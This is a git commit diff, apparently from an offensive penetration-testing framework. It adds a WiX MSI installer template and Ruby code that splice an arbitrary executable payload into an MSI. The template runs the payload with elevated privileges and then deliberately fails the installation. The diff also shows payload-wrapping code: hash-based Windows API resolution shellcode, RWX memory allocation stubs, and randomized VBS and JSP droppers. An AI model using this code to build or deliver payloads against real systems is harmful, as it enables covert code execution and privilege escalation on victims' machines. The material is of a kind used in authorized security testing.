Initial commit
This commit is contained in:
parent
b9de9150bf
commit
f37d9c2834
|
@ -0,0 +1,7 @@
|
|||
Compile using WiX: http://wixtoolset.org
|
||||
|
||||
Recompile with a larger buffer file to increase the available
|
||||
buffer size for larger payloads if required.
|
||||
|
||||
candle template_x86_windows.wxs
|
||||
light template_x86_windows.wixobj
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,35 @@
|
|||
<?xml version='1.0' encoding='windows-1252'?>
|
||||
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
|
||||
<Product Name='Foobar 1.0' Id='*'
|
||||
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
|
||||
|
||||
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
|
||||
|
||||
<Media Id='1' />
|
||||
|
||||
<Directory Id='TARGETDIR' Name='SourceDir'>
|
||||
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
|
||||
<Condition>0</Condition>
|
||||
</Component>
|
||||
</Directory>
|
||||
|
||||
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
|
||||
<Binary Id='Payload' SourceFile='buffer' />
|
||||
|
||||
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
|
||||
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='no' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
|
||||
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
|
||||
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
|
||||
|
||||
<Feature Id='Complete' Level='1'>
|
||||
<ComponentRef Id='MyComponent' />
|
||||
</Feature>
|
||||
|
||||
<InstallExecuteSequence>
|
||||
<ResolveSource After="CostInitialize" />
|
||||
<Custom Action="ExecPayload" After="InstallInitialize" />
|
||||
<Custom Action="FailInstallation" Before="InstallFiles" />
|
||||
</InstallExecuteSequence>
|
||||
|
||||
</Product>
|
||||
</Wix>
|
|
@ -311,7 +311,7 @@ require 'digest/sha1'
|
|||
if(eloc == 0) # place the entry point before the payload
|
||||
poff += 256
|
||||
eidx = rand(poff-(entry.length + 5))
|
||||
else # place the entry pointer after the payload
|
||||
else # place the entry pointer after the payload
|
||||
poff -= 256
|
||||
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
|
||||
end
|
||||
|
@ -533,6 +533,58 @@ require 'digest/sha1'
|
|||
return pe
|
||||
end
|
||||
|
||||
def self.to_win32pe_msi(framework, code, opts={})
|
||||
pe = to_win32pe(framework, code, opts)
|
||||
return replace_msi_buffer(pe, opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_msi(framework, code, opts={})
|
||||
pe = to_win64pe(framework, code, opts)
|
||||
return replace_msi_buffer(pe, opts)
|
||||
end
|
||||
|
||||
def self.replace_msi_buffer(pe, opts)
|
||||
#User cannot specify their own template due to calling to_win32pe
|
||||
opts[:template].gsub!(/\.exe/, '.msi')
|
||||
|
||||
msi = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
msi = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
section_size = 2**(msi[30..31].unpack('s')[0])
|
||||
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
|
||||
|
||||
buffer_chain = []
|
||||
current_secid = 5 # This is closely coupled with the template provided and ideally
|
||||
# would be calculated from the dir stream?
|
||||
|
||||
until current_secid == -2
|
||||
buffer_chain << current_secid
|
||||
current_secid = sector_allocation_table[current_secid]
|
||||
end
|
||||
|
||||
buffer_size = buffer_chain.length * section_size
|
||||
|
||||
if pe.size > buffer_size
|
||||
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
|
||||
end
|
||||
|
||||
pe_block_start = 0
|
||||
pe_block_end = pe_block_start + section_size - 1
|
||||
|
||||
buffer_chain.each do |section|
|
||||
block_start = section_size * (section + 1)
|
||||
block_end = block_start + section_size - 1
|
||||
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
|
||||
msi[block_start..block_end] = pe_block
|
||||
pe_block_start = pe_block_end + 1
|
||||
pe_block_end += section_size
|
||||
end
|
||||
|
||||
return msi
|
||||
end
|
||||
|
||||
def self.to_osx_arm_macho(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own template
|
||||
|
@ -664,7 +716,7 @@ require 'digest/sha1'
|
|||
# This will become a modified copy of the template's original phdr
|
||||
new_phdr = Metasm::EncodedData.new
|
||||
e.segments.each { |s|
|
||||
# Be lazy and mark any executable segment as writable. Doing
|
||||
# Be lazy and mark any executable segment as writable. Doing
|
||||
# it this way means we don't have to care about which one
|
||||
# contains .text
|
||||
if s.flags.include? "X"
|
||||
|
@ -844,14 +896,14 @@ require 'digest/sha1'
|
|||
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
|
||||
|
||||
# put the shellcode bytes into an array
|
||||
bytes = ''
|
||||
|
@ -902,7 +954,7 @@ End Sub
|
|||
end
|
||||
|
||||
def self.to_exe_vbs(exes = '', opts={})
|
||||
delay = opts[:delay] || 5
|
||||
delay = opts[:delay] || 5
|
||||
persist = opts[:persist] || false
|
||||
|
||||
exe = exes.unpack('C*')
|
||||
|
@ -1275,23 +1327,23 @@ End Sub
|
|||
def self.to_jsp_war(exe, opts={})
|
||||
|
||||
# begin <payload>.jsp
|
||||
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
||||
jspraw << "<%\n"
|
||||
|
@ -1386,7 +1438,7 @@ End Sub
|
|||
# Write the data into the .text segment
|
||||
text_offset = opts[:text_offset] || 0x1065
|
||||
text_max = opts[:text_max] || 0x8000
|
||||
pack = opts[:pack] || 'a32768'
|
||||
pack = opts[:pack] || 'a32768'
|
||||
pe[text_offset, text_max] = [data].pack(pack)
|
||||
|
||||
# Generic a randomized UUID
|
||||
|
@ -1440,89 +1492,89 @@ End Sub
|
|||
; Note: This function is unable to call forwarded exports.
|
||||
|
||||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor eax, eax ; Zero EDX
|
||||
mov eax, [fs:eax+48] ; Get a pointer to the PEB
|
||||
mov eax, [eax+12] ; Get PEB->Ldr
|
||||
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor eax, eax ; Zero EDX
|
||||
mov eax, [fs:eax+48] ; Get a pointer to the PEB
|
||||
mov eax, [eax+12] ; Get PEB->Ldr
|
||||
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
|
||||
mov edx, eax
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
dec ecx
|
||||
jnz loop_modname ; Loop untill we have read enough
|
||||
jnz loop_modname ; Loop untill we have read enough
|
||||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table,
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
mov eax, [eax+120] ; Get export tables RVA
|
||||
test eax, eax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add eax, edx ; Add the modules base address
|
||||
push eax ; Save the current modules EAT
|
||||
mov ecx, [eax+24] ; Get the number of function names
|
||||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
mov eax, [eax+120] ; Get export tables RVA
|
||||
test eax, eax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add eax, edx ; Add the modules base address
|
||||
push eax ; Save the current modules EAT
|
||||
mov ecx, [eax+24] ; Get the number of function names
|
||||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
test ecx, ecx ; (Changed from JECXZ to work around METASM)
|
||||
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
get_next_func: ;
|
||||
test ecx, ecx ; (Changed from JECXZ to work around METASM)
|
||||
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
^
|
||||
|
||||
stub_exit = %Q^
|
||||
|
@ -1532,47 +1584,47 @@ End Sub
|
|||
; Note: Execution is not expected to (successfully) continue past this block
|
||||
|
||||
exitfunk:
|
||||
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||
jne goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
goodbye: ; We now perform the actual call to the exit function
|
||||
push byte 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; call EXITFUNK( 0 );
|
||||
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||
jne goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
goodbye: ; We now perform the actual call to the exit function
|
||||
push byte 0 ; push the exit function parameter
|
||||
push ebx ; push the hash of the exit function
|
||||
call ebp ; call EXITFUNK( 0 );
|
||||
^
|
||||
|
||||
stub_alloc = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
delta: ;
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
delta: ;
|
||||
#{stub_block}
|
||||
start: ;
|
||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||
start: ;
|
||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||
|
||||
allocate_size:
|
||||
mov esi,PAYLOAD_SIZE
|
||||
|
||||
allocate:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; Push the length value of the wrapped code block
|
||||
push byte 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; Push the length value of the wrapped code block
|
||||
push byte 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
mov ebx, eax ; Store allocated address in ebx
|
||||
mov edi, eax ; Prepare EDI with the new address
|
||||
mov ecx, esi ; Prepare ECX with the length of the code
|
||||
mov ebx, eax ; Store allocated address in ebx
|
||||
mov edi, eax ; Prepare EDI with the new address
|
||||
mov ecx, esi ; Prepare ECX with the length of the code
|
||||
call get_payload
|
||||
got_payload:
|
||||
pop esi ; Prepare ESI with the source to copy
|
||||
rep movsb ; Copy the payload to RWX memory
|
||||
call set_handler ; Configure error handling
|
||||
pop esi ; Prepare ESI with the source to copy
|
||||
rep movsb ; Copy the payload to RWX memory
|
||||
call set_handler ; Configure error handling
|
||||
|
||||
exitblock:
|
||||
#{stub_exit}
|
||||
|
@ -1596,7 +1648,7 @@ End Sub
|
|||
stub_alloc.gsub!('byte', '')
|
||||
|
||||
wrapper = ""
|
||||
# regs = %W{eax ebx ecx edx esi edi ebp}
|
||||
# regs = %W{eax ebx ecx edx esi edi ebp}
|
||||
|
||||
cnt_jmp = 0
|
||||
stub_alloc.each_line do |line|
|
||||
|
@ -1645,87 +1697,87 @@ End Sub
|
|||
; Note: This function is unable to call forwarded exports.
|
||||
|
||||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor edx, edx ; Zero EDX
|
||||
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor edx, edx ; Zero EDX
|
||||
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
dec ecx
|
||||
jnz loop_modname ; Loop untill we have read enough
|
||||
jnz loop_modname ; Loop untill we have read enough
|
||||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to itterate the export address table,
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
mov eax, [eax+120] ; Get export tables RVA
|
||||
test eax, eax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add eax, edx ; Add the modules base address
|
||||
push eax ; Save the current modules EAT
|
||||
mov ecx, [eax+24] ; Get the number of function names
|
||||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
mov eax, [eax+120] ; Get export tables RVA
|
||||
test eax, eax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add eax, edx ; Add the modules base address
|
||||
push eax ; Save the current modules EAT
|
||||
mov ecx, [eax+24] ; Get the number of function names
|
||||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
^
|
||||
|
||||
stub_exit = %Q^
|
||||
|
@ -1735,48 +1787,48 @@ End Sub
|
|||
; Note: Execution is not expected to (successfully) continue past this block
|
||||
|
||||
exitfunk:
|
||||
